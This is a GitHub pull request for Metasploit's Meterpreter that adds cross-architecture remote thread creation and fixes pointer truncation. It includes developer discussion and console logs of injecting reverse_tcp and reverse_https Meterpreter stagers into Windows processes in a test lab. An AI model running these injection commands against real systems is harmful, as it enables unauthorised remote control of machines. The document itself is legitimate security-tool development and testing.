Skip to content
This repository has been archived by the owner on Jan 22, 2024. It is now read-only.

Change thread creation to support x86->x64 #76

Merged
merged 4 commits into from
Jun 6, 2014
Merged

Change thread creation to support x86->x64 #76

merged 4 commits into from
Jun 6, 2014

Conversation

OJ
Copy link
Contributor

@OJ OJ commented Mar 10, 2014

The create thread functionality would work in all cases except where the thread was being created in an x64 process from an x86 process. This commit adds support for this by reusing the wow64 injection code in this case.

To see this in action, the best thing to do is create a session on a 64-bit machine with a 32-bit meterpreter. Then do something like this:

meterpreter > run multi_meter_inject -pt windows/x64/meterpreter/reverse_https -mp 4076 -p 5555 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=5555
[*] Injecting meterpreter into process ID 4076
[*] Allocated memory at address 0x01c10000, for 588 byte stager
[*] Writing the stager into memory...

[*] 10.1.10.32:62023 Request received for /sXEL...
[*] 10.1.10.32:62023 Staging connection for target /sXEL received...
[*] Patched user-agent at offset 570272...
[*] Patched transport at offset 569936...
[*] Patched URL at offset 570000...
[*] Patched Expiration Timeout at offset 801216...
[*] Patched Communication Timeout at offset 801220...
[+] Successfully injected Meterpreter in to process: 4076
[*] Meterpreter session 17 opened (10.1.10.40:5555 -> 10.1.10.32:62023) at 2014-03-10 12:23:12 +1000

This demonstrates the use case, though there are many cases where this could possibly apply.

Verification

  • Works when creating x86 threads from x86 Meterpreter.
  • Works when creating x86 threads from x64 Meterpreter.
  • Works when creating x64 threads from x86 Meterpreter.
  • Works when creating x64 threads from x64 Meterpreter.

The create thread functionality would work in all cases except where
the thread was being created in an x64 process from an x86 process.

This commit adds support for this by reusing the wow64 injection code
in this case.
@metasploit-public-bot
Copy link

Test PASSED.
Refer to this link for build results: https://ci.metasploit.com/job/GPR-MeterpreterWin/83/

@Meatballs1
Copy link
Contributor

Sweet. Should this fall back on APC technique for Win2k3?

@Meatballs1
Copy link
Contributor

NB Should use exploit/windows/local/payload_inject. Scripts are dead ;)

@OJ
Copy link
Contributor Author

OJ commented Mar 10, 2014

Yeah it should fall back on apc, I was thinking about that just as I was
falling asleep. I'll wire that in today.

And yes I agree, I used a post module in my testing as well as the script.
I just happened to dump the script output instead.

@OJ
Copy link
Contributor Author

OJ commented Mar 10, 2014

OK, I'm having second thoughts about doing the APC technique for this. In the case of migration I can understand the need for it. However, for the general case of "create me a new thread over there", the semantics doesn't seem to fit. The APC thread technique reuses an existing thread in the target application, and returning that to the caller as a "new" thread handle implies:

  1. The thread is now "owned" by you.
  2. You can easily do it again.
  3. The limit on the number of threads you can create is the same with the other techniques.

I don't think this is the case with APC. If you hijack enough threads in the target, then the target would just stop functioning, right?

My gut feeling is that for the case of general thread creation the APC thread thing doesn't belong.

Thoughts?

@Meatballs1
Copy link
Contributor

TBH I dont know enough about the technique to comment!
Another thing though, is the APC technique will go between sessions. I dont think the callable meterpreter functions support this but it would be nice if they could fall back on RtlCreateUserThread or APC to go between sessions without having to railgun it as we already have the code available.

@OJ
Copy link
Contributor Author

OJ commented Mar 10, 2014

Sounds like a separate issue to me, probably worth talking about that and working on it separately.

@Meatballs1
Copy link
Contributor

Yeah, maybe a method like process.force_create_thread which will Rtl/APC or process.create_thread! to be rubystyle could be explored :)

@OJ
Copy link
Contributor Author

OJ commented Mar 11, 2014

Behind the scenes the RTL approach is already being used. The APC thread creation is a thread reuser not a thread creator, which is basically my problem with baking this approach in here.


DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter );
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why doesn't this have the same signature as inject_via_remotethread?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My understanding is that it is called by inject_via_remotethread when it detects its in a wow64 environment. Its not exposed as remote method call.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ben's right. It's used internally and doesn't interact with packets at all.

@OJ
Copy link
Contributor Author

OJ commented Mar 28, 2014

Bump? This is good to go and works nicely in all but x64 2003 (where it doesn't currently work anyway!).

It'd be great to see this land soon.

@Meatballs1
Copy link
Contributor

Boom:

msf exploit(payload_inject) > exploit

[*] Started reverse handler on 192.168.1.100:4444 
[*] Running module against WIN-9P91UQC377E
[-] You are trying to inject to a x64 process from a x86 version of Meterpreter.
[-] Migrate to an x64 process and try again.
msf exploit(payload_inject) > edit
[*] Launching /usr/bin/vim /root/git/metasploit-framework/modules/exploits/windows/local/payload_inject.rb
msf exploit(payload_inject) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444 
[*] Running module against WIN-9P91UQC377E
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 4020
[*] Opening process 4020
[*] Allocating memory in procees 4020
[*] Allocated memory at address 0x39170000, for 422 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 4020
[*] Sending stage (971264 bytes) to 192.168.1.9
[*] Meterpreter session 2 opened (192.168.1.100:4444 -> 192.168.1.9:53894) at 2014-06-01 11:22:08 +0100

meterpreter > 

@Meatballs1
Copy link
Contributor

Everything seems functional, apart from x64 -> x64 process injection, but this doesn't appear to be related to the thread creation. I suspect a 64 bit PTR is being returned with the high bits set and this isn't getting back to the ruby correctly. It doesn't work with the original meterpreter binaries either.

The address returned is : 0xF7FF0000

msf exploit(payload_inject) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444 
[*] Running module against WIN-9P91UQC377E
[*] Launching notepad.exe...
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 3616
[*] Opening process 3616
[*] Allocating memory in procees 3616
4160684032
[-] Unable to inject payload:
stdapi_sys_process_memory_protect: Operation failed: Attempt to access invalid address.
msf exploit(payload_inject) > 
msf exploit(payload_inject) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.100:4444 
[*] Running module against WIN-9P91UQC377E
[*] Launching notepad.exe...
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 3616
[*] Opening process 3616
[*] Allocating memory in procees 3616
4160684032
[-] Unable to inject payload:
stdapi_sys_process_memory_protect: Operation failed: Attempt to access invalid address.
msf exploit(payload_inject) > 

@Meatballs1
Copy link
Contributor

Ditto multi_meter_inject:

meterpreter > run multi_meter_inject -pt windows/x64/meterpreter/reverse_https -mp 4992 -p 5555 -mr 192.168.1.100
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.100 LPORT=5555
[*] Injecting meterpreter into process ID 4992
[*] Allocated memory at address 0xebab0000, for 591 byte stager
[*] Writing the stager into memory...
[-] Failed to Inject Payload to 4992!
[-] stdapi_sys_process_memory_write: Operation failed: Attempt to access invalid address.

@OJ
Copy link
Contributor Author

OJ commented Jun 1, 2014

Pants. Nice catch. I'll look into this one. Thanks for testing mate.

@Meatballs1
Copy link
Contributor

https://github.com/rapid7/meterpreter/blob/master/source/extensions/stdapi/server/sys/process/memory.c#L30
packet_add_tlv_uint(response, TLV_TYPE_BASE_ADDRESS, (DWORD)base);

@OJ
Copy link
Contributor Author

OJ commented Jun 1, 2014

Yeah mate, the BASE_ADDRESS and BASE_ALLOC_ADDRESS TLV types are DWORD instead of QWORD. Fixing that now :) Thanks!

DWORD was being used, resulting in x64 being unhappy thanks to
pointer truncation. This fixes the problem.
@OJ
Copy link
Contributor Author

OJ commented Jun 1, 2014

Updated. Here's x86 to x86

meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mp 1320 -p 4444 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=4444
[*] Injecting meterpreter into process ID 1320
[*] Allocated memory at address 0x00350000, for 287 byte stager
[*] Writing the stager into memory...

[*] Sending stage (769536 bytes) to 10.1.10.32
[+] Successfully injected Meterpreter in to process: 1320
[*] Meterpreter session 2 opened (10.1.10.40:4444 -> 10.1.10.32:49319) at 2014-06-01 21:17:50 +1000

Here's x64 to x86:

meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mp 1320 -p 4444 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=4444
[*] Injecting meterpreter into process ID 1320
[*] Allocated memory at address 0x007f0000, for 287 byte stager
[*] Writing the stager into memory...

[*] Sending stage (769536 bytes) to 10.1.10.32
[+] Successfully injected Meterpreter in to process: 1320
[*] Meterpreter session 3 opened (10.1.10.40:4444 -> 10.1.10.32:49321) at 2014-06-01 21:19:57 +1000

x86 to x64:

meterpreter > run multi_meter_inject -pt windows/x64/meterpreter/reverse_tcp -mp 1776 -p 5555 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=5555
[*] Injecting meterpreter into process ID 1776
[*] Allocated memory at address 0x058b0000, for 422 byte stager
[*] Writing the stager into memory...
[+] Successfully injected Meterpreter in to process: 1776

[*] Sending stage (972288 bytes) to 10.1.10.32
[*] Meterpreter session 4 opened (10.1.10.40:5555 -> 10.1.10.32:49354) at 2014-06-01 21:22:29 +1000

And finally, the biggie, x64 to x64:

meterpreter > run multi_meter_inject -pt windows/x64/meterpreter/reverse_tcp -mp 1252 -p 5555 -mr 10.1.10.40
[*] Creating a reverse meterpreter stager: LHOST=10.1.10.40 LPORT=5555
[*] Injecting meterpreter into process ID 1252
[*] Allocated memory at address 0x04ce0000, for 422 byte stager
[*] Writing the stager into memory...

[*] Sending stage (972288 bytes) to 10.1.10.32
[+] Successfully injected Meterpreter in to process: 1252
[*] Meterpreter session 5 opened (10.1.10.40:5555 -> 10.1.10.32:49359) at 2014-06-01 21:24:08 +1000

Proof of the sessions:

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                           Connection
  --  ----                   -----------                           ----------
  1   meterpreter x64/win64  WIN-S45GUQ5KGVK\OJ @ WIN-S45GUQ5KGVK  10.1.10.40:8000 -> 10.1.10.32:49317 (10.1.10.32)
  2   meterpreter x86/win32  WIN-S45GUQ5KGVK\OJ @ WIN-S45GUQ5KGVK  10.1.10.40:4444 -> 10.1.10.32:49319 (10.1.10.32)
  3   meterpreter x86/win32  WIN-S45GUQ5KGVK\OJ @ WIN-S45GUQ5KGVK  10.1.10.40:4444 -> 10.1.10.32:49321 (10.1.10.32)
  4   meterpreter x64/win64  WIN-S45GUQ5KGVK\OJ @ WIN-S45GUQ5KGVK  10.1.10.40:5555 -> 10.1.10.32:49354 (10.1.10.32)
  5   meterpreter x64/win64  WIN-S45GUQ5KGVK\OJ @ WIN-S45GUQ5KGVK  10.1.10.40:5555 -> 10.1.10.32:49359 (10.1.10.32)

Session 1 was the one I used to launch the others, and I migrated between x86 and x64 to do the injections. This is a x64 Windows 7 with all patches.

Adjusted in the MSF side over here: rapid7/metasploit-framework#3416

Thanks again @Meatballs1 !

@metasploit-public-bot
Copy link

Test PASSED.
Refer to this link for build results: https://ci.metasploit.com/job/GPR-MeterpreterWin/105/

@Meatballs1
Copy link
Contributor

This still not working for me on x64 -> x64. It is allocating and memprotecting fine

but - request_sys_process_thread_create is taking a

TLV_TYPE_ENTRY_POINT

which is uint again!

P.S. you probably want to test this on 2012 or Win8.1 as 7 doesn't tend to exercise the full memory address space

@OJ
Copy link
Contributor Author

OJ commented Jun 1, 2014

Dammit! I feel stupid for missing that. I'll fix it up and submit later
today mate. Thanks!

The goal is to avoid pointer truncation where possible so this commit
changes parameter types to qword where it makes the most sense. This
includes all handles (event, process, thread, registry), addresses
and generic parameters.
@OJ
Copy link
Contributor Author

OJ commented Jun 4, 2014

OK, I think I might finally have it:

Session 2 is the one I used to inject. It started as x86 where I created the 3 and 4. I then migrated to an x64 process and created 5 and 6.

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                                  Connection
  --  ----                   -----------                                  ----------
  2   meterpreter x64/win64  WIN-URCAUVPE291\OJ Reeves @ WIN-URCAUVPE291  10.1.10.40:8000 -> 10.1.10.54:49338 (10.1.10.54)
  3   meterpreter x86/win32  WIN-URCAUVPE291\OJ Reeves @ WIN-URCAUVPE291  10.1.10.40:8000 -> 10.1.10.54:49339 (10.1.10.54)
  4   meterpreter x64/win64  WIN-URCAUVPE291\OJ Reeves @ WIN-URCAUVPE291  10.1.10.40:4444 -> 10.1.10.54:49340 (10.1.10.54)
  5   meterpreter x64/win64  WIN-URCAUVPE291\OJ Reeves @ WIN-URCAUVPE291  10.1.10.40:4444 -> 10.1.10.54:49341 (10.1.10.54)
  6   meterpreter x86/win32  WIN-URCAUVPE291\OJ Reeves @ WIN-URCAUVPE291  10.1.10.40:8000 -> 10.1.10.54:49342 (10.1.10.54)

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN-URCAUVPE291
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64

Let's hope this is it!

I have also updated a few other things including:

  • Event handles
  • Registry handles
  • Thread handles
  • Process handles
  • Entry points
  • Generic "parameters" (which are usually LPVOID)

@OJ
Copy link
Contributor Author

OJ commented Jun 4, 2014

In case it's not clear, this was tested on Windows 2012. So hopefully that covers off the ASLR bit :) @Meatballs1 would be awesome if you could confirm when you get the chance dude. Cheers!

@metasploit-public-bot
Copy link

Test PASSED.
Refer to this link for build results: https://ci.metasploit.com/job/GPR-MeterpreterWin/106/

@Meatballs1
Copy link
Contributor

Cool will do when I get a chance :)

@Meatballs1 Meatballs1 merged commit 69d5a19 into rapid7:master Jun 6, 2014
Meatballs1 added a commit that referenced this pull request Jun 6, 2014
Also fixes a number of PTR truncation issues...
@OJ OJ deleted the fix_thread_create branch June 9, 2014 19:03
todb-r7 pushed a commit to todb-r7/metasploit-framework that referenced this pull request Jun 12, 2014
These are the binaries generated for rapid7/meterpreter#76 , against
commit 2776adb8b91d9967983033c0e770c46a10a68002

These bins are need to make rapid7#3416 actually functional
todb-r7 pushed a commit to todb-r7/metasploit-framework that referenced this pull request Jun 12, 2014
This lands rapid7#3416 again as well, but now with the bins from
rapid7/meterpreter#76

Sorry for the mixup.
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants